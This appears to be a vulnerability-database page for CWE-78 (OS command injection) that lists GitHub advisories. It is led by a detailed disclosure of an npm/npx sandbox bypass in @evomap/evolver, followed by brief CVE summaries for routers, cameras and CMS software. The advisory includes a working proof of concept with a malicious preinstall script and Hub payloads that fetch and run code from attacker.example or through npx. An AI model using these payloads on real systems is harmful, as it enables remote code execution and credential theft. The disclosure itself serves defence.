Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

8341 vulnerabilities reference this CWE, most recent first.

GHSA-JXH8-JH77-XH6G

Vulnerability from github – Published: 2026-05-05 21:15 – Updated: 2026-05-05 21:15
VLAI
Summary
@evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts
Details

Summary

The validator-mode sandbox executor (src/gep/validator/sandboxExecutor.js) places npm and npx in its hard executable allowlist. Because npm install <pkg> and npx -y -p <pkg> <bin> execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume validation_commands strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s).

Details

End-to-end chain:

  1. src/gep/validator/index.js:71-87 — fetchValidationTasks() POSTs to <hub>/a2a/fetch and reads validation_tasks from the JSON response. The outbound request is signed via buildHubHeaders(), but the Hub's response is parsed directly with await res.json() and no signature is verified on data.payload.

  2. src/gep/validator/index.js:98-108 — validateOneTask() extracts task.validation_commands (an array of attacker-controlled strings) and passes it straight to runInSandbox(commands, {}). No call to policyCheck.isValidationCommandAllowed() happens on this path. The author's own comment at sandboxExecutor.js:41-42 acknowledges this gap: "This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed()."

  3. src/gep/validator/sandboxExecutor.js:172-218 — runSingleCommand calls parseCommand(cmd), then checks ALLOWED_EXECUTABLES.has(parsed.executable):

js // sandboxExecutor.js:35 const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']);

parseCommand only rejects shell metacharacters (| & ; > < \ $) and unbalanced quotes. A string likenpm install /tmp/evil-pkg --no-audit --no-fundcontains none of those and parses cleanly into{ executable: 'npm', args: [...] }`.

  1. sandboxExecutor.js:54-66 — assertNodeCommandSafe is a no-op for non-node executables:

js function assertNodeCommandSafe(parsed) { if (parsed.executable !== 'node') return; // npm/npx skip every check ... }

The BLOCKED_NODE_FLAGS set (-e, -r, --loader, etc.) therefore never gates npm or npx invocations.

  1. sandboxExecutor.js:213 — spawn('npm', [...], { shell: false, cwd: sandboxDir, env }) runs npm. npm's documented behavior is to execute the package's preinstall, install, and postinstall scripts; npx downloads a remote package and executes its bin entry. Both yield arbitrary code execution in the validator process's UID/permissions.

  2. src/gep/validator/index.js:189 — the validator daemon polls every 60s by default (EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS), and validator mode is on by default since v1.69.0 (isValidatorEnabled() returns true unless explicitly disabled, index.js:25-34).

The "sandbox" is nominal: it sets a fresh cwd and a stripped env (HOME → tmpdir to hide ~/.npmrc/~/.ssh), but PATH is preserved (so npm/npx resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process.

The author's documented threat model at sandboxExecutor.js:31-34 explicitly includes Hub compromise:

"Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task."

Putting npm and npx on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools.

PoC

Reproduced against v1.70.0-beta.4 (HEAD on main):

Step 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases):

mkdir -p /tmp/evil-pkg-validator
cat > /tmp/evil-pkg-validator/package.json <<'EOF'
{
  "name":"evil-pkg-validator","version":"1.0.0",
  "scripts":{
    "preinstall":"node -e \"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\""
  }
}
EOF

Step 2 — invoke the exact code path used by validateOneTask() when the Hub returns a task with validation_commands: ["npm install /tmp/evil-pkg-validator --no-audit --no-fund"]:

rm -f /tmp/pwned-by-validator-test
node -e "
const s = require('./src/gep/validator/sandboxExecutor');
s.runInSandbox(
  ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],
  { cmdTimeoutMs: 60000 }
).then(o => {
  console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);
  console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));
});"

Observed output (verified):

overallOk: true exitCode: 0
PWNED: RCE uid=0 time=1777213140205

The sandbox reports overallOk: true (it sees a clean exit-0 from npm), while the preinstall script has already written /tmp/pwned-by-validator-test outside the sandbox directory — uncontained code execution as the validator UID.

Remote-only variant (no local file required): a compromised or MITM'd Hub returns:

{ "validation_commands": ["npm install https://attacker.example/evil.tgz --no-audit --no-fund"] }

or

{ "validation_commands": ["npx -y -p evil-pkg@1.0.0 evil-cmd"] }

Both pass parseCommand() (no shell metacharacters), pass ALLOWED_EXECUTABLES.has('npm'|'npx'), and assertNodeCommandSafe is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host.

Impact

  • Arbitrary code execution as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default).
  • Credential exfiltration: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process.
  • Persistence / lateral movement: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM.
  • Wormable across the network: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0.
  • Defeats the documented sandbox guarantee: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools.

Recommended Fix

Remove npm and npx from ALLOWED_EXECUTABLES. Validation tasks need only node <script>:

// src/gep/validator/sandboxExecutor.js
const ALLOWED_EXECUTABLES = new Set(['node']);

If npm test / npx vitest style commands must remain reachable from the Hub path, harden them explicitly:

function assertNpmCommandSafe(parsed) {
  if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return;
  // Block install/exec/run-script that fetch or execute lifecycle scripts.
  const sub = parsed.args.find((a) => !a.startsWith('-'));
  const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']);
  if (FORBIDDEN.has(sub)) {
    throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub);
  }
  // Require --ignore-scripts on every npm invocation as defense-in-depth.
  if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) {
    throw new Error('npm in sandbox requires --ignore-scripts');
  }
  // npx always fetches+executes — disallow entirely.
  if (parsed.executable === 'npx') {
    throw new Error('npx is not allowed in sandbox');
  }
}

Additionally:

  1. Sign the Hub's /a2a/fetch response the same way outbound requests are signed (buildHubHeaders). Verify the signature on data.payload in fetchValidationTasks before handing tasks to runInSandbox. This closes the network-MITM variant that does not require Hub compromise.
  2. Run runInSandbox under real isolation — drop privileges, disable network, mount tmpfs, apply seccomp — rather than relying solely on an allowlist. The current buildSandboxEnv only redirects HOME/TMPDIR; the spawned process otherwise has full host access.
  3. Apply policyCheck.isValidationCommandAllowed() to Hub-delivered validation_commands in validateOneTask, mirroring the gate that already exists for capsule-derived commands in solidify.js / skill2gep.js.
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.70.0-beta.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.70.0-beta.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:15:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install \u003cpkg\u003e` and `npx -y -p \u003cpkg\u003e \u003cbin\u003e` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s).\n\n## Details\n\nEnd-to-end chain:\n\n1. `src/gep/validator/index.js:71-87` \u2014 `fetchValidationTasks()` POSTs to `\u003chub\u003e/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub\u0027s response is parsed directly with `await res.json()` and no signature is verified on `data.payload`.\n\n2. `src/gep/validator/index.js:98-108` \u2014 `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author\u0027s own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *\"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed().\"*\n\n3. `src/gep/validator/sandboxExecutor.js:172-218` \u2014 `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`:\n\n   ```js\n   // sandboxExecutor.js:35\n   const ALLOWED_EXECUTABLES = new Set([\u0027node\u0027, \u0027npm\u0027, \u0027npx\u0027]);\n   ```\n\n   `parseCommand` only rejects shell metacharacters (`| \u0026 ; \u003e \u003c \\` $`) and unbalanced quotes. A string like `npm install /tmp/evil-pkg --no-audit --no-fund` contains none of those and parses cleanly into `{ executable: \u0027npm\u0027, args: [...] }`.\n\n4. `sandboxExecutor.js:54-66` \u2014 `assertNodeCommandSafe` is a no-op for non-`node` executables:\n\n   ```js\n   function assertNodeCommandSafe(parsed) {\n     if (parsed.executable !== \u0027node\u0027) return;   // npm/npx skip every check\n     ...\n   }\n   ```\n\n   The `BLOCKED_NODE_FLAGS` set (`-e`, `-r`, `--loader`, etc.) therefore never gates `npm` or `npx` invocations.\n\n5. `sandboxExecutor.js:213` \u2014 `spawn(\u0027npm\u0027, [...], { shell: false, cwd: sandboxDir, env })` runs `npm`. npm\u0027s documented behavior is to execute the package\u0027s `preinstall`, `install`, and `postinstall` scripts; `npx` downloads a remote package and executes its `bin` entry. Both yield arbitrary code execution in the validator process\u0027s UID/permissions.\n\n6. `src/gep/validator/index.js:189` \u2014 the validator daemon polls every 60s by default (`EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS`), and validator mode is **on by default** since v1.69.0 (`isValidatorEnabled()` returns `true` unless explicitly disabled, `index.js:25-34`).\n\nThe \"sandbox\" is nominal: it sets a fresh `cwd` and a stripped env (HOME \u2192 tmpdir to hide `~/.npmrc`/`~/.ssh`), but `PATH` is preserved (so `npm`/`npx` resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process.\n\nThe author\u0027s documented threat model at `sandboxExecutor.js:31-34` explicitly includes Hub compromise:\n\n\u003e \"Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task.\"\n\nPutting `npm` and `npx` on that allowlist defeats that stated goal \u2014 both are arbitrary-code-execution-by-design tools.\n\n## PoC\n\nReproduced against v1.70.0-beta.4 (HEAD on `main`):\n\nStep 1 \u2014 plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases):\n\n```bash\nmkdir -p /tmp/evil-pkg-validator\ncat \u003e /tmp/evil-pkg-validator/package.json \u003c\u003c\u0027EOF\u0027\n{\n  \"name\":\"evil-pkg-validator\",\"version\":\"1.0.0\",\n  \"scripts\":{\n    \"preinstall\":\"node -e \\\"require(\u0027fs\u0027).writeFileSync(\u0027/tmp/pwned-by-validator-test\u0027,\u0027RCE uid=\u0027+process.getuid()+\u0027 time=\u0027+Date.now())\\\"\"\n  }\n}\nEOF\n```\n\nStep 2 \u2014 invoke the exact code path used by `validateOneTask()` when the Hub returns a task with `validation_commands: [\"npm install /tmp/evil-pkg-validator --no-audit --no-fund\"]`:\n\n```bash\nrm -f /tmp/pwned-by-validator-test\nnode -e \"\nconst s = require(\u0027./src/gep/validator/sandboxExecutor\u0027);\ns.runInSandbox(\n  [\u0027npm install /tmp/evil-pkg-validator --no-audit --no-fund\u0027],\n  { cmdTimeoutMs: 60000 }\n).then(o =\u003e {\n  console.log(\u0027overallOk:\u0027, o.overallOk, \u0027exitCode:\u0027, o.results[0].exitCode);\n  console.log(\u0027PWNED:\u0027, require(\u0027fs\u0027).readFileSync(\u0027/tmp/pwned-by-validator-test\u0027,\u0027utf8\u0027));\n});\"\n```\n\nObserved output (verified):\n\n```\noverallOk: true exitCode: 0\nPWNED: RCE uid=0 time=1777213140205\n```\n\nThe sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory \u2014 uncontained code execution as the validator UID.\n\nRemote-only variant (no local file required): a compromised or MITM\u0027d Hub returns:\n\n```json\n{ \"validation_commands\": [\"npm install https://attacker.example/evil.tgz --no-audit --no-fund\"] }\n```\n\nor\n\n```json\n{ \"validation_commands\": [\"npx -y -p evil-pkg@1.0.0 evil-cmd\"] }\n```\n\nBoth pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has(\u0027npm\u0027|\u0027npx\u0027)`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host.\n\n## Impact\n\n- **Arbitrary code execution** as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle \u2248 60s by default).\n- **Credential exfiltration**: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process.\n- **Persistence / lateral movement**: write to user-writable cron, systemd-user units, shell rc files; pivot into the host\u0027s container / VM.\n- **Wormable across the network**: a single Hub compromise auto-RCEs every node running validator mode \u2014 and validator mode is opt-out / on by default since v1.69.0.\n- **Defeats the documented sandbox guarantee**: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools.\n\n## Recommended Fix\n\nRemove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node \u003cscript\u003e`:\n\n```js\n// src/gep/validator/sandboxExecutor.js\nconst ALLOWED_EXECUTABLES = new Set([\u0027node\u0027]);\n```\n\nIf `npm test` / `npx vitest` style commands must remain reachable from the Hub path, harden them explicitly:\n\n```js\nfunction assertNpmCommandSafe(parsed) {\n  if (parsed.executable !== \u0027npm\u0027 \u0026\u0026 parsed.executable !== \u0027npx\u0027) return;\n  // Block install/exec/run-script that fetch or execute lifecycle scripts.\n  const sub = parsed.args.find((a) =\u003e !a.startsWith(\u0027-\u0027));\n  const FORBIDDEN = new Set([\u0027install\u0027, \u0027i\u0027, \u0027add\u0027, \u0027ci\u0027, \u0027exec\u0027, \u0027x\u0027, \u0027run\u0027, \u0027run-script\u0027, \u0027rebuild\u0027, \u0027pack\u0027, \u0027publish\u0027]);\n  if (FORBIDDEN.has(sub)) {\n    throw new Error(\u0027npm/npx subcommand not allowed in sandbox: \u0027 + sub);\n  }\n  // Require --ignore-scripts on every npm invocation as defense-in-depth.\n  if (parsed.executable === \u0027npm\u0027 \u0026\u0026 !parsed.args.includes(\u0027--ignore-scripts\u0027)) {\n    throw new Error(\u0027npm in sandbox requires --ignore-scripts\u0027);\n  }\n  // npx always fetches+executes \u2014 disallow entirely.\n  if (parsed.executable === \u0027npx\u0027) {\n    throw new Error(\u0027npx is not allowed in sandbox\u0027);\n  }\n}\n```\n\nAdditionally:\n\n1. **Sign the Hub\u0027s `/a2a/fetch` *response*** the same way outbound requests are signed (`buildHubHeaders`). Verify the signature on `data.payload` in `fetchValidationTasks` before handing tasks to `runInSandbox`. This closes the network-MITM variant that does not require Hub compromise.\n2. **Run `runInSandbox` under real isolation** \u2014 drop privileges, disable network, mount tmpfs, apply seccomp \u2014 rather than relying solely on an allowlist. The current `buildSandboxEnv` only redirects `HOME`/`TMPDIR`; the spawned process otherwise has full host access.\n3. **Apply `policyCheck.isValidationCommandAllowed()` to Hub-delivered `validation_commands`** in `validateOneTask`, mirroring the gate that already exists for capsule-derived commands in `solidify.js` / `skill2gep.js`.",
  "id": "GHSA-jxh8-jh77-xh6g",
  "modified": "2026-05-05T21:15:55Z",
  "published": "2026-05-05T21:15:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-jxh8-jh77-xh6g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@evomap/evolver\u0027s validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts"
}

GHSA-JXVP-H5HW-39X4

Vulnerability from github – Published: 2026-02-17 18:32 – Updated: 2026-02-17 18:32
VLAI
Details

An issue in Datart v1.0.0-rc.3 allows attackers to execute arbitrary code via the url parameter in the JDBC configuration

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-70828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-17T16:20:25Z",
    "severity": "HIGH"
  },
  "details": "An issue in Datart v1.0.0-rc.3 allows attackers to execute arbitrary code via the url parameter in the JDBC configuration",
  "id": "GHSA-jxvp-h5hw-39x4",
  "modified": "2026-02-17T18:32:56Z",
  "published": "2026-02-17T18:32:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70828"
    },
    {
      "type": "WEB",
      "url": "https://dev.mysql.com/doc/connector-j/en/connector-j-connprops-interceptor-classes-and-interfaces.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xiaoxiaoranxxx/CVE-2025-70828"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M297-V8RG-X5FH

Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2025-10-22 00:31
VLAI
Details

The Crestron AM-100 firmware 1.6.0.2, Crestron AM-101 firmware 2.7.0.1, Barco wePresent WiPG-1000P firmware 2.3.0.10, Barco wePresent WiPG-1600W before firmware 2.4.1.19, Extron ShareLink 200/250 firmware 2.0.3.4, Teq AV IT WIPS710 firmware 1.1.0.7, SHARP PN-L703WA firmware 1.4.2.3, Optoma WPS-Pro firmware 1.0.0.5, Blackbox HD WPS firmware 1.0.0.5, InFocus LiteShow3 firmware 1.0.16, and InFocus LiteShow4 2.0.0.7 are vulnerable to command injection via the file_transfer.cgi HTTP endpoint. A remote, unauthenticated attacker can use this vulnerability to execute operating system commands as root.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-3929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-30T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Crestron AM-100 firmware 1.6.0.2, Crestron AM-101 firmware 2.7.0.1, Barco wePresent WiPG-1000P firmware 2.3.0.10, Barco wePresent WiPG-1600W before firmware 2.4.1.19, Extron ShareLink 200/250 firmware 2.0.3.4, Teq AV IT WIPS710 firmware 1.1.0.7, SHARP PN-L703WA firmware 1.4.2.3, Optoma WPS-Pro firmware 1.0.0.5, Blackbox HD WPS firmware 1.0.0.5, InFocus LiteShow3 firmware 1.0.16, and InFocus LiteShow4 2.0.0.7 are vulnerable to command injection via the file_transfer.cgi HTTP endpoint. A remote, unauthenticated attacker can use this vulnerability to execute operating system commands as root.",
  "id": "GHSA-m297-v8rg-x5fh",
  "modified": "2025-10-22T00:31:39Z",
  "published": "2022-05-24T16:44:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3929"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-3929"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46786"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2019-20"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/152715/Barco-AWIND-OEM-Presentation-Platform-Unauthenticated-Remote-Command-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/155948/Barco-WePresent-file_transfer.cgi-Command-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M29M-GR7R-VMXV

Vulnerability from github – Published: 2022-05-14 01:42 – Updated: 2022-05-14 01:42
VLAI
Details

SV3C L-SERIES HD CAMERA V2.3.4.2103-S50-NTD-B20170508B and V2.3.4.2103-S50-NTD-B20170823B devices allow OS Command Injection.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-12670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-19T22:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SV3C L-SERIES HD CAMERA V2.3.4.2103-S50-NTD-B20170508B and V2.3.4.2103-S50-NTD-B20170823B devices allow OS Command Injection.",
  "id": "GHSA-m29m-gr7r-vmxv",
  "modified": "2022-05-14T01:42:02Z",
  "published": "2022-05-14T01:42:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12670"
    },
    {
      "type": "WEB",
      "url": "https://www.bishopfox.com/news/2018/10/sv3c-l-series-hd-camera-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2G7-JPR3-PG3W

Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49
VLAI
Details

Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 15 of 46).

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2018-11157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-02T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 15 of 46).",
  "id": "GHSA-m2g7-jpr3-pg3w",
  "modified": "2022-05-13T01:49:04Z",
  "published": "2022-05-13T01:49:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11157"
    },
    {
      "type": "WEB",
      "url": "https://www.coresecurity.com/advisories/quest-dr-series-disk-backup-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/148003/Quest-DR-Series-Disk-Backup-Software-4.0.3-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/May/71"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2HX-RW3R-Q8F3

Vulnerability from github – Published: 2024-09-22 03:30 – Updated: 2024-09-22 03:30
VLAI
Details

A vulnerability was found in DedeCMS up to 5.7.115. It has been rated as critical. This issue affects some unknown processing of the file article_string_mix.php. The manipulation leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-9076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-22T01:15:12Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in DedeCMS up to 5.7.115. It has been rated as critical. This issue affects some unknown processing of the file article_string_mix.php. The manipulation leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-m2hx-rw3r-q8f3",
  "modified": "2024-09-22T03:30:30Z",
  "published": "2024-09-22T03:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9076"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/hjjjx/dede_cms/blob/master/article_string_mix_rce.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.278243"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.278243"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.407461"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M2JH-6VX8-F48M

Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35
VLAI
Details

LifeSize Team, Room, Passport, and Networker 220 devices allow Authenticated Remote OS Command Injection, as demonstrated by shell metacharacters in the support/mtusize.php mtu_size parameter. The lifesize default password for the cli account may sometimes be used for authentication.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2019-7632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-08T05:29:00Z",
    "severity": "HIGH"
  },
  "details": "LifeSize Team, Room, Passport, and Networker 220 devices allow Authenticated Remote OS Command Injection, as demonstrated by shell metacharacters in the support/mtusize.php mtu_size parameter. The lifesize default password for the cli account may sometimes be used for authentication.",
  "id": "GHSA-m2jh-6vx8-f48m",
  "modified": "2022-05-14T01:35:22Z",
  "published": "2022-05-14T01:35:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7632"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=22113"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2JR-P4MQ-JG77

Vulnerability from github – Published: 2023-05-05 15:30 – Updated: 2024-04-04 03:49
VLAI
Details

TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-30013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-05T14:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the \"command\" parameter.",
  "id": "GHSA-m2jr-p4mq-jg77",
  "modified": "2024-04-04T03:49:28Z",
  "published": "2023-05-05T15:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30013"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2"
    },
    {
      "type": "WEB",
